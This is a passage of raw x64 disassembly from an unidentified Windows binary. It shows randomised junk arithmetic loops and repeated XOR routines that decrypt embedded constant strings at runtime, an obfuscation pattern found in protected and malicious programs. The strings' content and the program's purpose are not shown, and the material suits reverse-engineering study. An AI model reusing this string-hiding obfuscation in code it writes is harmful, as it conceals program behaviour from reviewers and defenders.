jmp 0x14002013e
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400200b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x60]
lea rcx, [0x140001600]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.1400254c0
mov dword [rsp + 0x150], 0xffffff9c
mov dword [rsp + 0x154], 0x64
movups xmmword [rsp + 0x160], xmm9
mov dword [rsp + 0x40], esi
movsd qword [rsp + 0x148], xmm10
lea rcx, [rsp + 0x48]
call fcn.140001670
mov qword [rsp + 0x60], 0x64
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x50]
call fcn.1400272a0
lea rcx, [rsp + 0x190]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x190], xmm1
mov qword [rsp + 0x1a0], rsi
lea rcx, [rsp + 0x60]
call fcn.1400272c0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.140027310
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.140027340
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.140027370
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.1400273a0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.1400273d0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024e0
test al, al
jns 0x140020737
nop
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov rbx, qword [rsp + 0x198]
sub rbx, qword [rsp + 0x190]
sar rbx, 3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0x190]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
movaps xmm5, xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
movaps xmm1, xmm5
call fcn.140002390
movsd xmm1, qword [rsp + 0x148]
addsd xmm0, xmm1
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x148]
subsd xmm1, xmm0
movsd qword [rsp + 0x148], xmm1
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x148]
movsd qword [rsp + 0x148], xmm0
lea rdx, [0x14003597c]
lea rcx, [rsp + 0x200]
call fcn.1400264a0
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x200]
call fcn.140002300
lea rcx, [rsp + 0x1b0]
call fcn.140002540
lea rcx, [rsp + 0x1b0]
call fcn.140025590
nop
lea rax, [rsp + 0x150]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x1d8], rax
movaps xmm0, xmmword [rsp + 0x1d0]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.140027490
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1b0]
call fcn.140002410
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.1400274f0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov ebx, eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
test al, 1
jne 0x140020615
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140020624
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
nop dword [rax]
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
movsd xmm5, qword [rsp + 0x148]
addsd xmm0, xmm5
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
test bl, 1
jne 0x1400206b1
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x1400206d8
movsd xmm5, qword [rsp + 0x148]
lea rcx, [rsp + 0x160]
call fcn.140027400
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x148], xmm5
inc ebx
cmp ebx, 5
jl 0x140020640
sub rdi, 1
jne 0x140020630
lea rcx, [rsp + 0x1b0]
call fcn.140025530
nop
lea rcx, [rsp + 0x200]
call fcn.140026440
sub rsi, 1
jne 0x1400203c0
lea rcx, [rsp + 0x60]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024e0
test al, al
js 0x1400203b0
mov edi, dword [0x14003f090]
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x190]
call fcn.1400253f0
movups xmm0, xmmword [0x140037150]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [0x140037160]
movups xmmword [rsp + 0xf0], xmm1
mov eax, dword [0x140037170]
mov dword [rsp + 0x100], eax
movzx eax, word [0x140037174]
mov word [rsp + 0x104], ax
mov r9d, esi
cmp edi, 2
jl 0x140020937
movdqa xmm0, xmmword [0x140037300]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0xe4]
mov edx, dword [rsp + 0x160]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x1400207b0
cmp r9d, 0x26
jge 0x14002099f
movsxd rax, r9d
lea r10, [rsp + 0xe0]
add r10, rax
nop word [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x26
jl 0x140020950
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x200]
call fcn.140027b90
nop
lea rcx, [rsp + 0x200]
call fcn.140002eb0
movzx ebx, al
lea rcx, [rsp + 0x200]
call fcn.1400026f0
test bl, bl
je 0x140020c80
movups xmm0, xmmword [0x1400370d8]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [0x1400370e8]
movups xmmword [rsp + 0xa0], xmm1
movups xmm0, xmmword [0x1400370f8]
movups xmmword [rsp + 0xb0], xmm0
mov eax, dword [0x140037108]
mov dword [rsp + 0xc0], eax
movzx eax, byte [0x14003710c]
mov byte [rsp + 0xc4], al
mov r9d, esi
cmp edi, 2
jl 0x140020be7
movdqa xmm0, xmmword [0x140037300]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x94]
mov edx, dword [rsp + 0x160]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x140020a60
cmp r9d, 0x35
jge 0x140020c4f
movsxd rax, r9d
lea r10, [rsp + 0x90]
add r10, rax
nop word [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x35
jl 0x140020c00
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x200]
call fcn.1400264a0
nop
lea rcx, [rsp + 0x200]
call fcn.140017cf0
nop
lea rcx, [rsp + 0x200]
call fcn.140026440
movups xmm0, xmmword [0x140036c90]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [0x140036ca0]
movups xmmword [rsp + 0xf0], xmm1
movsd xmm0, qword [0x140036cb0]
movsd qword [rsp + 0x100], xmm0
cmp edi, 2
jl 0x140020e61
mov edx, esi
movdqa xmm0, xmmword [0x140037300]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0xe4]
mov r8d, dword [rsp + 0x160]
nop dword [rax + rax]
movd xmm4, edx
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r8d
psubb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [rdx + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r8d
psubb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140020ce0
jmp 0x140020ebf
lea r10, [rsp + 0xe0]
mov r9d, esi
nop dword [rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x28
jl 0x140020e70
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x200]
call fcn.1400264a0
nop
lea rcx, [rsp + 0x200]
call fcn.140017cf0
nop
lea rcx, [rsp + 0x200]
call fcn.140026440
movups xmm0, xmmword [0x1400366f8]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [0x140036708]
movups xmmword [rsp + 0xa0], xmm1
movsd xmm0, qword [0x140036718]
movsd qword [rsp + 0xb0], xmm0
movzx eax, word [0x140036720]
mov word [rsp + 0xb8], ax
movzx eax, byte [0x140036722]
mov byte [rsp + 0xba], al
mov r9d, esi
cmp edi, 2
jl 0x1400210f7
movdqa xmm0, xmmword [0x140037300]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x94]
mov edx, dword [rsp + 0x160]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x140020f70
cmp r9d, 0x2b
jge 0x14002115f
movsxd rax, r9d
lea r10, [rsp + 0x90]
add r10, rax
nop word [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2b
jl 0x140021110
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x200]
call fcn.1400264a0
nop
lea rcx, [rsp + 0x200]
call fcn.140017cf0
nop
lea rcx, [rsp + 0x200]
call fcn.140026440
mov byte [rsp + 0x80], 0
mov eax, dword [0x140036318]
mov dword [rsp + 0x148], eax
cmp byte [0x14003631b], 0
je 0x1400212cf
cmp edi, 2
jl 0x140021273
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm11
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
psubb xmm2, xmmword [0x140037300]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x148], xmm2
jmp 0x1400212cf
lea r10, [rsp + 0x148]
mov r9d, esi
nop
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140021280
lea rdx, [rsp + 0x148]
lea rcx, [rsp + 0x1d0]
call fcn.140024440
mov rbx, rax
movups xmm0, xmmword [0x140035b60]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [0x140035b70]
movups xmmword [rsp + 0xa0], xmm1
movups xmm0, xmmword [0x140035b80]
movups xmmword [rsp + 0xb0], xmm0
movups xmm1, xmmword [0x140035b90]
movups xmmword [rsp + 0xc0], xmm1
movsd xmm0, qword [0x140035ba0]
movsd qword [rsp + 0xd0], xmm0
mov eax, dword [0x140035ba8]
mov dword [rsp + 0xd8], eax
movzx eax, word [0x140035bac]
mov word [rsp + 0xdc], ax
movzx eax, byte [0x140035bae]
mov byte [rsp + 0xde], al
mov r9d, esi
cmp edi, 2
jl 0x140021517
movdqa xmm0, xmmword [0x140037300]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x94]
mov edx, dword [rsp + 0x160]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
